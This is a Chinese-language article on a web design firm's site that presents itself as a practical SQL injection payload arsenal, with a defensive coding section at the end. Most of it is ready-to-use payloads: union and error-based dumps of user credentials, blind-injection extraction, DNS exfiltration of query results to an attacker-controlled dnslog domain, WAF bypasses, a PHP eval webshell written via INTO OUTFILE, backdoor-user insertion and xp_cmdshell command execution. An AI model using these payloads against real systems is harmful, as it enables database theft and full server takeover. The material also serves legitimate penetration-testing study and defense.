尧图网站设计 尧图网站设计YAOTU DESIGN
ARTICLE DETAIL

资讯详情

深耕网站设计与一线实操的经验洞察。

SQL注入实战:从联合查询到盲注的Payload分类与绕过技巧

SQL注入实战:从联合查询到盲注的Payload分类与绕过技巧 1. 项目概述一份真正能用的SQL注入攻击载荷清单干了这么多年安全不管是做渗透测试还是做代码审计SQL注入这个“老熟人”总是绕不开。网上各种Payload清单满天飞但要么是零散的代码片段要么是过时的“万能密码”真到实战里面对五花八门的过滤规则和数据库类型经常是“一顿操作猛如虎一看结果原地杵”。这份清单是我从无数次靶场实战、真实渗透授权测试和应急响应中一点点攒下来的。它不是一个简单的命令罗列而是一套按攻击场景、数据库类型、绕过技巧分类的“武器库”。核心目标就一个当你面对一个可能存在注入点的Web应用时能快速找到最合适的Payload进行验证和利用同时作为开发者你也能清晰地知道攻击者会从哪些角度“下手”从而在代码层面进行精准防御。这份清单的价值在于“场景化”和“可操作性”。它涵盖了从最基础的联合查询到需要耐心“盲猜”的布尔/时间盲注再到利用数据库特性进行报错、堆叠甚至文件读写的高级技巧。更重要的是它包含了大量绕过常见WAFWeb应用防火墙和过滤机制的“骚操作”比如用%0a换行符代替空格、用/**/注释符分割关键字、利用宽字节编码“吃掉”转义符等。理解这些Payload背后的原理远比死记硬背几个字符串重要得多。重要提示本文所有Payload及技术细节仅用于授权的安全测试、渗透演练及个人在合法靶场如DVWA、SQLi-Labs、PortSwigger Web Security Academy中的学习研究。任何未经授权对真实网站进行测试的行为均属违法需承担法律责任。安全技术的提升是为了更好地构筑防线。2. 核心思路从“盲打”到“精准打击”的Payload分类体系一份好的Payload清单不能是杂乱无章的堆砌。我的分类逻辑基于攻击流程和交互反馈旨在构建一个从信息探测到深度利用的完整路径。2.1 基于回显方式的分类决定你的攻击策略这是最根本的分类维度直接决定了你选用哪一类Payload。有回显注入Union-Based这是最“幸福”的情况。应用页面会直接显示数据库查询的结果。我们的目标就是通过UNION操作符将我们想要的数据“拼接”到原始查询结果中显示出来。攻击思路直接判断注入点 - 判断字段数 - 判断回显位 - 构造Union查询获取数据。报错注入Error-Based页面不直接显示查询数据但当SQL语句执行错误时会返回详细的错误信息。我们的目标就是故意构造一个会出错的SQL语句并让错误信息中包含我们想要窃取的数据。例如利用updatexml()、extractvalue()这类函数对参数格式的严格要求通过拼接我们的查询结果来触发错误并回显。盲注Blind Injection这是最考验耐心的场景。页面既不会显示数据也不会返回具体的错误信息。你只能通过观察页面行为的“细微差异”来推断信息。这又分为两种布尔盲注Boolean-Based通过注入逻辑判断如and 11与and 12观察页面内容如“用户存在”与“用户不存在”或HTTP状态码的真/假True/False变化一位一位地“猜”出数据。时间盲注Time-Based通过注入能引起时间延迟的函数如SLEEP(5)、BENCHMARK(1000000, MD5(A))根据页面响应时间是否显著延长来判断注入的逻辑条件是否为真。堆叠注入Stacked Queries在一些特定的数据库接口如PHP的mysqli_multi_query()中可以一次性执行多条用分号分隔的SQL语句。这赋予了攻击者极大的权限可以执行任意数据库操作如增删改查表、执行存储过程甚至系统命令。但并非所有数据库驱动都支持。2.2 基于绕过技巧的分类应对各种防御措施现代应用很少会毫无防护。因此Payload必须考虑如何绕过常见的过滤和拦截。空格绕过当空格被过滤时可以使用/**/注释符、%0a换行符、%0d回车符、%09制表符甚至括号()来替代。1/**/union/**/select/**/1,2,3--1%0aunion%0aselect%0a1,2,3--关键字绕过对union、select、where等关键字进行过滤。大小写混合UnIoN SeLeCt双写关键字ununionion seselectlect假设过滤逻辑是简单删除union和select字符串内联注释MySQL特有/*!union*/ /*!select*/ 1,2,3编码URL编码、十六进制编码、Unicode编码等。引号绕过当单引号被转义变成\或过滤时。十六进制编码将字符串转换为十六进制。admin-0x61646d696e。select * from users where username0x61646d696e宽字节注入针对GBK等宽字符集利用编码特性使一个特殊字符如%df与转义符\%5c组合成一个合法的宽字符如運从而“吃掉”转义符让后面的单引号逃逸。%df-%df%5c%27-運。注释符绕过--、#被过滤。使用;%00Null字节或;结束语句在支持堆叠注入时。利用 or 11这种构造来闭合语句而不依赖注释符。理解了这套分类体系你就能像查字典一样根据现场情况快速定位到需要的Payload部分。下面我们就进入实战环节逐一拆解。3. 联合查询注入直截了当的数据窃取联合查询注入是效率最高的一种方式前提是页面有显式回显。它的攻击流程非常标准化。3.1 标准攻击流程与Payload解析第一步探测注入点与闭合方式首先你需要确定参数是否可控且存在注入。通过添加、、)等符号观察页面是否报错或行为异常。id1- 正常id1- 报错或页面异常 - 可能存在字符型注入闭合方式为单引号。id1- 正常id1 and 11- 正常id1 and 12- 页面内容消失或变化 - 可能存在数字型注入。第二步判断字段数量ORDER BY使用ORDER BY子句通过索引排序来探测查询结果集的列数。这是一个二分查找过程。1 order by 1-- -(正常)1 order by 5-- -(正常)1 order by 10-- -(报错Unknown column 10 in order clause)1 order by 7-- -(正常)1 order by 8-- -(报错) 字段数为7。这里-- -是注释符-后面有个空格在URL中通常写作--在URL中代表空格。目的是注释掉原SQL语句中我们不需要的部分。第三步确定回显位UNION SELECT用UNION拼接一个我们可控的查询并用NULL或数字占位观察哪个位置的内容会显示在页面上。-1 union select 1,2,3,4,5,6,7-- -这里id-1或一个不存在的值是为了让原查询结果为空从而确保页面显示的是我们union select的结果。然后观察页面上的数字1,2,3...哪个被显示了出来这些位置就是“回显位”可以用来输出我们想要的数据。第四步获取数据库信息将回显位替换为数据库函数。-1 union select 1,database(),user(),version(),5,6,7-- -这条语句可能会在页面上显示当前数据库名、当前数据库用户、数据库版本。第五步枚举表名、列名、数据利用数据库的元数据表如MySQL的information_schema。爆表名-1 union select 1,group_concat(table_name),3,4,5,6,7 from information_schema.tables where table_schemadatabase()-- -group_concat()函数将多行结果合并成一个字符串方便查看。table_schemadatabase()条件限制只查询当前数据库的表。爆某表的列名假设表名为users-1 union select 1,group_concat(column_name),3,4,5,6,7 from information_schema.columns where table_schemadatabase() and table_nameusers-- -爆数据-1 union select 1,group_concat(username, :, password),3,4,5,6,7 from users-- -3.2 联合查询的进阶技巧与绕过无列名注入在极少数情况下information_schema库被禁止访问。这时可以利用JOIN自连接或使用别名来获取数据。-1 union select * from (select 1)a join (select 2)b join (select 3)c-- -(先猜字段数)更通用的方法是利用子查询-1 union select 1,(select1from (select 1,2,3 union select * from users limit 1,1)a),3-- -。这里需要知道users表的列数并通过反引号引用别名来获取数据操作较为复杂。处理字段类型不匹配如果联合查询时因字段类型不兼容报错可以用NULL代替不确定类型的字段NULL可以匹配任何类型。-1 union select null,version,null,null-- -绕过过滤示例 假设union和select被过滤且空格被过滤。1/**/UnIoN/**/SeLeCt/**/1,2,3--或者使用内联注释1/*!UnIoN*//*!SeLeCt*/ 1,2,3--4. 报错注入从错误信息中“榨取”数据当页面没有显式回显但会打印SQL错误时报错注入就是利器。其核心是故意触发一个数据库错误并巧妙地将想要查询的数据嵌入到错误信息中。4.1 主流报错函数原理与Payloadupdatexml()与extractvalue()这两个是MySQL用于处理XML文档的函数它们要求第二个参数是合法的XPath路径。如果我们传入一个非法路径其中拼接了我们查询的数据就会产生错误并将非法路径内容即我们的数据返回。1 and updatexml(1, concat(0x7e, (select user()), 0x7e), 1)-- -concat(0x7e, (select user()), 0x7e)将波浪号~、查询结果、波浪号拼接。0x7e是~的十六进制。updatexml()执行时发现~rootlocalhost~不是合法XPath于是报错XPATH syntax error: ~rootlocalhost~数据成功泄露。1 and extractvalue(1, concat(0x7e,(select database())))- -原理相同。注意extractvalue()最多只能返回32位长度超出的部分会被截断。对于长数据需要用substring()或mid()函数分段获取。floor()rand()group by利用group by语句对临时表进行分组时因rand()函数在分组过程中的重复计算导致主键冲突而报错。1 and (select 1 from (select count(*), concat(database(), floor(rand(0)*2)) as x from information_schema.tables group by x) as a)-- -这个Payload相对固定报错信息格式通常为Duplicate entry 数据库名1 for key group_key。其中的数据库名1就是我们想要的数据。这个方法的优点是不需要updatexml等函数在某些过滤场景下可能有效。几何函数报错MySQL中一些几何函数如geometrycollection()multipoint()polygon()multipolygon()linestring()multilinestring()对参数格式有严格要求传入错误格式会报错。1 and multipoint((select * from (select * from (select version())a)b))-- -报错信息会包含版本信息。这类方法常作为updatexml被禁时的备选方案。4.2 报错注入的实战要点与局限数据截断问题如前所述extractvalue()和updatexml()的报错信息长度有限通常约32字符。对于长数据如表名列表、数据记录必须分段获取。1 and updatexml(1, concat(0x7e, substr((select group_concat(table_name) from information_schema.tables where table_schemadatabase()), 1, 30), 0x7e), 1)-- -使用substr(string, start, length)函数从第1位开始取30位。然后通过修改start参数如31, 61...来获取后续数据。布尔盲注的“近亲”有时即使有报错注入函数WAF或代码也可能捕获了错误信息不让其显示在前端。此时报错注入会退化为一种“基于错误是否发生”的布尔盲注。你可以通过观察页面是否返回500内部服务器错误或一个通用的错误页面来判断注入的布尔条件是否成立。这需要更精细的观察。跨数据库兼容性报错函数具有很强的数据库特性。SQL Server常用convert()或cast()类型转换错误。1 and convert(int, (select db_name()))--。PostgreSQL常用cast()。1 and cast((select version()) as integer)--。Oracle常用ctxsys.drithsx.sn()等不常见的函数组合触发错误。实操心得在实际测试中updatexml()是我最常用的报错函数因为它触发稳定报错信息清晰。但在编写Payload时务必注意闭合原SQL语句并处理好数据截断。可以先select length(data)判断长度再规划分段。5. 盲注在黑暗中摸索的持久战盲注是SQL注入中最考验技巧和耐心的部分。它没有直接输出你需要像侦探一样通过观察应用的“蛛丝马迹”来推理。5.1 布尔盲注真与假的博弈布尔盲注依赖于注入一个逻辑条件根据页面返回内容的差异True/False来推断信息。差异可能体现在页面某段文字的存在/消失、页面整体长度的微小变化、某个HTML元素的出现与否。基础Payload模式1 and (条件表达式)-- -如果条件为真页面表现与id1相同如果为假则表现与id1 and 12相同即原查询结果为空或异常。信息提取流程以获取当前数据库名首字母为例判断长度1 and length(database())8-- -如果页面正常则库名长度为8逐字符判断使用substr()和ascii()函数。1 and ascii(substr(database(),1,1))100-- -判断第一个字符的ASCII码是否大于1001 and ascii(substr(database(),1,1))116-- -判断第一个字符的ASCII码是否等于116即字母‘t’这是一个二分查找过程。你可以写一个简单的脚本来自动化这个猜解过程。例如判断ASCII码范围大于128否。大于64是。大于96是... 最终定位到具体字符。进阶技巧使用like和regexp当substr和ascii被过滤时可以用正则或模糊匹配。1 and (select database()) like t%-- -判断库名是否以‘t’开头1 and (select database()) regexp ^test-- -判断库名是否匹配正则^test判断数据存在性1 and (select count(username) from users where usernameadmin)1-- -判断是否存在用户‘admin’5.2 时间盲注用时间作为信标当页面无论真假都返回相同内容连一个像素的差异都找不到时时间盲注是最后的武器。它通过注入一个条件判断如果为真则触发一个时间延迟如sleep(5)通过比较响应时间来判断条件真假。基础Payload模式1 and if((条件表达式), sleep(5), 0)-- -如果条件为真页面响应会延迟至少5秒如果为假则立即返回。跨数据库的时间延迟函数MySQLsleep(5),benchmark(10000000, md5(test))通过大量计算制造延迟。PostgreSQLpg_sleep(5)。SQL Serverwaitfor delay 0:0:5。Oracledbms_pipe.receive_message((a),5)。时间盲注的挑战与优化网络抖动延迟判断的阈值需要根据实际网络情况调整。不能只判断“大于5秒”而应判断“响应时间显著长于基线时间如id1的响应时间”。性能影响频繁的sleep会拖慢测试速度且容易被监控发现。可以结合benchmark或使用更短的睡眠时间如0.5秒但需要更精确的计时。Payload构造时间盲注的Payload通常更长更复杂更容易触发WAF规则。需要灵活运用注释符和分隔符来绕过。1;select if(ascii(substr(database(),1,1))100,sleep(3),0) from dual where 11一种绕过if函数被过滤的写法5.3 DNSlog外带注入无回显场景的“曲线救国”这是一种非常巧妙的技巧适用于完全无回显包括无时间延迟但能执行DNS查询的场景。它利用数据库函数发起一个DNS查询将要窃取的数据作为子域名的一部分这样我们只需要监控DNS解析日志就能看到数据。原理构造一个Payload让数据库尝试连接一个由我们控制的域名并将查询结果拼接到子域名中。1 and load_file(concat(\\\\, (select database()), .你的域名.dnslog.cn\\abc))-- -在Windows系统下\\\主机名\路径是UNC路径格式访问时会尝试解析主机名。(select database())的结果如果是testdb那么数据库就会尝试解析testdb.你的域名.dnslog.cn这个主机名。我们在dnslog.cn这类平台或自建DNS服务器上就能看到有一条对testdb.你的域名.dnslog.cn的解析请求从而得到数据testdb。注意事项数据库权限需要数据库用户拥有FILE权限对于MySQL的load_file或相应的高权限。操作系统UNC路径主要适用于Windows。Linux下可能需要其他方式触发DNS请求如sys_exec。数据编码域名有格式限制不能有特殊字符。通常需要将查询结果进行十六进制编码hex()。1 and load_file(concat(\\\\, hex((select database())), .dnslog.cn\\abc))-- -其他数据库SQL Serverexec master..xp_dirtree \\\\(select db_name()).dnslog.cn\testOracleUTL_HTTP.REQUEST或UTL_INADDR.GET_HOST_ADDRESS需要特定权限。避坑指南DNSlog注入是高级技巧成功率受环境限制大。在实战中它常作为验证“注入点是否可外联”以及“在极度严格过滤下获取短数据如数据库名”的手段。对于大量数据泄露效率远低于有回显或报错注入。6. 堆叠注入与特殊场景攻防堆叠注入是“威力巨大但触发条件苛刻”的技术。而二次注入、宽字节注入等则体现了安全问题的复杂性和隐蔽性。6.1 堆叠注入执行任意SQL语句的“神技”堆叠注入允许攻击者一次性执行多条SQL语句这几乎等同于拥有了数据库的完整操作权限。支持堆叠的常见场景PHP的mysqli_multi_query()函数、某些.NET的数据库驱动等。mysql_query()或PDO::query()默认通常不支持。高危Payload示例数据窃取当select被禁时1; HANDLER users OPEN; HANDLER users READ FIRST; HANDLER users CLOSE;-- -HANDLER是MySQL的一个底层表访问接口可以绕过一些SELECT过滤。文件操作需secure_file_priv为空写Webshell1; select ?php eval($_POST[cmd]);? into outfile /var/www/html/shell.php-- -读取系统文件1; select load_file(/etc/passwd)-- -数据库结构操作创建后门用户1; insert into users(username, password) values(backdoor, md5(hack))-- -修改表结构1; alter table users add column shell text; update users set shell?php eval($_GET[c]);? where id1;-- -SQL Server命令执行需开启xp_cmdshell1; exec xp_cmdshell whoami-- -严重警告堆叠注入的破坏性极强。在授权测试中除非必要且与客户明确沟通否则应避免使用写入文件、执行系统命令等高风险Payload以免对目标系统造成不可逆的影响。6.2 二次注入潜伏的杀手二次注入的逻辑是数据在存入数据库时被安全地转义了但在从数据库取出并用于新的SQL查询时却没有被转义。注册阶段用户注册一个名为admin#的用户名。应用转义单引号存入数据库的是admin\#。登录/修改阶段当应用从数据库取出这个用户名admin\#并用于另一个SQL语句如UPDATE users SET passwordnewpass WHERE username$username时如果取出的数据没有再次转义语句就变成了UPDATE users SET passwordnewpass WHERE usernameadmin\#由于\被数据库解析为字面量的单引号字符而不是转义符所以#注释掉了后面的所有内容。最终效果是修改了admin用户的密码而不是admin#用户。Payload关键寻找应用中将数据库数据“二次使用”的地方如用户登录后的密码修改、密码找回、个人信息更新等功能点。6.3 宽字节注入与编码绕过宽字节注入主要针对使用GBK、BIG5等宽字符集且使用addslashes或mysql_real_escape_string进行转义的环境。转义函数会在单引号前加反斜杠\%5c。如果我们在单引号前提交一个高位字节如%df数据库会认为%df%5c是一个合法的宽字符如“運”从而“吃掉”了反斜杠让后面的单引号成功逃逸。%df- 转义后为%df%5c%27- 数据库GBK解码为運- 单引号生效。编码绕过十六进制编码1 and column_name0x61646d696e-- -0x61646d696e是admin的十六进制。Base64编码需数据库支持解码函数如MySQL的FROM_BASE641 union select 1,from_base64(YWRtaW4),3-- -。CHAR()函数1 and substr(database(),1,1)char(116)-- -判断首字符是否为‘t’ASCII 116。7. 自动化与防御视角从攻击清单到防护策略拥有这份清单攻击者可以自动化攻击防御者则能据此构建更坚固的防线。7.1 基于Payload清单的自动化工具思路手工注入效率低下尤其是盲注。自动化脚本如SQLMap的核心逻辑就是基于这份清单探测与指纹识别发送各种探测Payload根据响应判断数据库类型、注入点类型整型/字符型、闭合方式。Payload库匹配根据识别出的数据库和注入类型从内置的Payload库类似于本文清单中选取合适的测试向量。布尔/时间盲注自动化实现二分查找算法自动逐位猜解数据。结果提取与优化自动提取数据并尝试使用不同的编码和绕过技巧来优化Payload绕过WAF。理解这些Payload能帮助你更好地使用和定制自动化工具而不是仅仅依赖默认配置。7.2 开发者防御指南针对每类Payload的防护作为开发者你的目标不是记住所有Payload而是从原理上杜绝注入的可能性。根本解决方案使用参数化查询预编译语句为什么有效它将SQL代码与数据完全分离。数据库引擎先编译SQL语句的结构如SELECT * FROM users WHERE id ?再将用户输入的数据如1作为纯参数传入。无论参数中包含什么、、or 11都只会被当作数据而不会被解释为SQL代码。这是唯一能从根本上防御所有类型SQL注入的方法。如何做PHP (PDO)$stmt $pdo-prepare(SELECT * FROM users WHERE email ?); $stmt-execute([$email]);Java (JDBC)PreparedStatement stmt conn.prepareStatement(SELECT * FROM users WHERE email ?); stmt.setString(1, email);Python (sqlite3/MySQLdb)使用?或%s作为占位符并将参数以元组形式传入。严格的输入验证与过滤白名单原则对于已知有限集合的输入如状态、类型只允许列表内的值。类型强制转换对于数字型参数在代码层强制转换为整数/浮点数。$id (int)$_GET[id];转义是最后手段如果因历史遗留问题必须拼接SQL必须使用数据库特定的转义函数如mysqli_real_escape_string并注意字符集设置避免宽字节注入。记住转义不能防御数字型注入且容易因疏忽而失效。最小权限原则数据库连接账户不应使用root或sa等高权限账户。根据应用需要创建仅具有SELECT、INSERT、UPDATE等必要权限的账户。这可以极大限制堆叠注入、文件读写等攻击的破坏范围。Web应用防火墙WAF与运行时保护WAF可以基于规则如本文中的常见Payload特征拦截恶意请求。但它是一种缓解措施而非根本解决方案可能被精心构造的Payload绕过。考虑使用RASP运行时应用自保护技术在应用内部监控和阻断恶意SQL行为。代码审计与安全测试定期进行代码审计查找所有SQL拼接点。在测试环境使用SQLMap等工具进行定期的渗透测试主动发现漏洞。这份“终极Payload清单”的双刃剑属性正在于此。它既是指向漏洞的利矛也是锻造盾牌的蓝图。真正的安全源于对攻击技术的深刻理解并将其转化为严谨的编码习惯和防御体系。
返回列表